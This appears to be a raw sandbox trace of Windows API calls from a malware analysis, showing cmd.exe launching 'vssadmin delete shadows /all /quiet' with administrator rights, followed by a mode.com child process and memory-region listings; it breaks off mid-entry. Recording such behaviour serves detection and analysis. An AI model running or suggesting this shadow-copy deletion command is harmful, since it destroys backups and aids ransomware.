0xe8 [0206.207] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.207] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0206.207] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.207] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.207] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.207] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.208] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e350, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.208] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e352, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.208] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e354, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.208] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e356, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.208] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.208] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.208] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.208] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.208] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.208] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0206.208] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.208] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.209] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0206.209] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.209] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.209] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0206.209] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.209] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.209] ReadFile (in: hFile=0xe8, lpBuffer=0x4a64c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x16f838, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesRead=0x16f838*=0x1, lpOverlapped=0x0) returned 1 [0206.209] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a64c320, cbMultiByte=1, lpWideCharStr=0x4a64e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0206.209] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.209] GetFileType (hFile=0xe8) returned 0x3 [0206.209] _get_osfhandle (_FileHandle=0) returned 0xe8 [0206.209] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.209] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.209] GetFileType (hFile=0xf4) returned 0x3 [0206.209] _get_osfhandle (_FileHandle=1) returned 0xf4 [0206.209] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a64c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0206.209] WriteFile (in: hFile=0xf4, lpBuffer=0x4a64c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x16f818, lpOverlapped=0x0 | out: lpBuffer=0x4a64c320*, lpNumberOfBytesWritten=0x16f818*=0x24, lpOverlapped=0x0) returned 1 [0206.210] GetConsoleOutputCP () returned 0x4e3 [0206.210] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a64bfe0 | out: lpCPInfo=0x4a64bfe0) returned 1 [0206.210] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0206.210] GetConsoleTitleW (in: lpConsoleTitle=0x16f7d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0206.210] SetErrorMode (uMode=0x0) returned 0x0 [0206.211] SetErrorMode (uMode=0x1) returned 0x0 [0206.211] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2290a0, lpFilePart=0x16f060 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f060*="Desktop") returned 0x25 [0206.211] SetErrorMode (uMode=0x0) returned 0x1 [0206.211] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0206.211] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0206.211] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a63f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0206.211] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0206.211] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x16edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edd0) returned 0xffffffffffffffff [0206.211] GetLastError () returned 0x2 [0206.211] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vssadmin", fInfoLevelId=0x1, lpFindFileData=0x16edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edd0) returned 0xffffffffffffffff [0206.211] GetLastError () returned 0x2 [0206.211] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0206.211] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x16edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edd0) returned 0x229ba0 [0206.212] FindClose (in: hFindFile=0x229ba0 | out: hFindFile=0x229ba0) returned 1 [0206.212] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x16edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edd0) returned 0xffffffffffffffff [0206.212] GetLastError () returned 0x2 [0206.212] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x16edd0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x16edd0) returned 0x229ba0 [0206.212] FindClose (in: hFindFile=0x229ba0 | out: hFindFile=0x229ba0) returned 1 [0206.212] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0206.212] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0206.212] GetConsoleTitleW (in: lpConsoleTitle=0x16f320, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0206.212] GetConsoleTitleW (in: lpConsoleTitle=0x229120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0206.212] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0206.213] InitializeProcThreadAttributeList (in: lpAttributeList=0x16f0d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x16f098 | out: lpAttributeList=0x16f0d8, lpSize=0x16f098) returned 1 [0206.213] UpdateProcThreadAttribute (in: lpAttributeList=0x16f0d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x16f088, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x16f0d8, lpPreviousValue=0x0) returned 1 [0206.213] GetStartupInfoW (in: lpStartupInfo=0x16f1f0 | out: lpStartupInfo=0x16f1f0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0206.213] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0206.214] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x16f110*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x16f0c0 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x16f0c0*(hProcess=0x50, hThread=0x54, dwProcessId=0x894, dwThreadId=0x85c)) returned 1 [0207.414] CloseHandle (hObject=0x54) returned 1 [0207.414] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0207.414] GetEnvironmentStringsW () returned 0x22eb10* [0207.414] FreeEnvironmentStringsW (penv=0x22eb10) returned 1 [0207.414] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x16e9c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x16e9c8, ReturnLength=0x0) returned 0x0 [0207.414] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x16ea00, nSize=0x380, lpNumberOfBytesRead=0x16e9c0 | out: lpBuffer=0x16ea00*, lpNumberOfBytesRead=0x16e9c0*=0x380) returned 1 [0207.414] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x25aee000" os_pid = "0x814" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x124" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e814" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 719 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 720 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 721 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 722 start_va = 0xf0000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 723 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 724 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 725 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 726 start_va = 0xff170000 end_va = 0xff17bfff entry_point = 0xff170000 region_type = mapped_file name = "mode.com" filename = "\\Windows\\System32\\mode.com" (normalized: "c:\\windows\\system32\\mode.com") Region: id = 727 start_va = 0x7feffb80000 end_va = 0x7feffb80fff entry_point = 0x7feffb80000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 728 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 729 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 730 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 731 start_va = 0x2d0000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 732 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x77740000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 733 start_va = 0x7fefd900000 end_va = 0x7fefd96afff entry_point = 0x7fefd900000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 745 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 746 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 747 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 748 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 749 start_va = 0xd0000 end_va = 0xd0fff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 750 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 751 start_va = 0x540000 end_va = 0x54ffff entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 752 start_va = 0x550000 end_va = 0x6d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 753 start_va = 0x6e0000 end_va = 0x860fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 754 start_va = 0x870000 end_va = 0x1c6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 755 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x77640000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 756 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 757 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 758 start_va = 0x7fef9020000 end_va = 0x7fef902bfff entry_point = 0x7fef9020000 region_type = mapped_file name = "ureg.dll" filename = "\\Windows\\System32\\ureg.dll" (normalized: "c:\\windows\\system32\\ureg.dll") Region: id = 759 start_va = 0x7fef9030000 end_va = 0x7fef9057fff entry_point = 0x7fef9030000 region_type = mapped_file name = "ulib.dll" filename = "\\Windows\\System32\\ulib.dll" (normalized: "c:\\windows\\system32\\ulib.dll") Region: id = 760 start_va = 0x7fefdb80000 end_va = 0x7fefdc48fff entry_point = 0x7fefdb80000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 761 start_va = 0x7fefdd30000 end_va = 0x7fefdd3dfff entry_point = 0x7fefdd30000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 762 start_va = 0x7fefdd40000 end_va = 0x7fefdd6dfff entry_point = 0x7fefdd40000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 763 start_va = 0x7fefed10000 end_va = 0x7fefed76fff entry_point = 0x7fefed10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 764 start_va = 0x7fefed80000 end_va = 0x7fefee88fff entry_point = 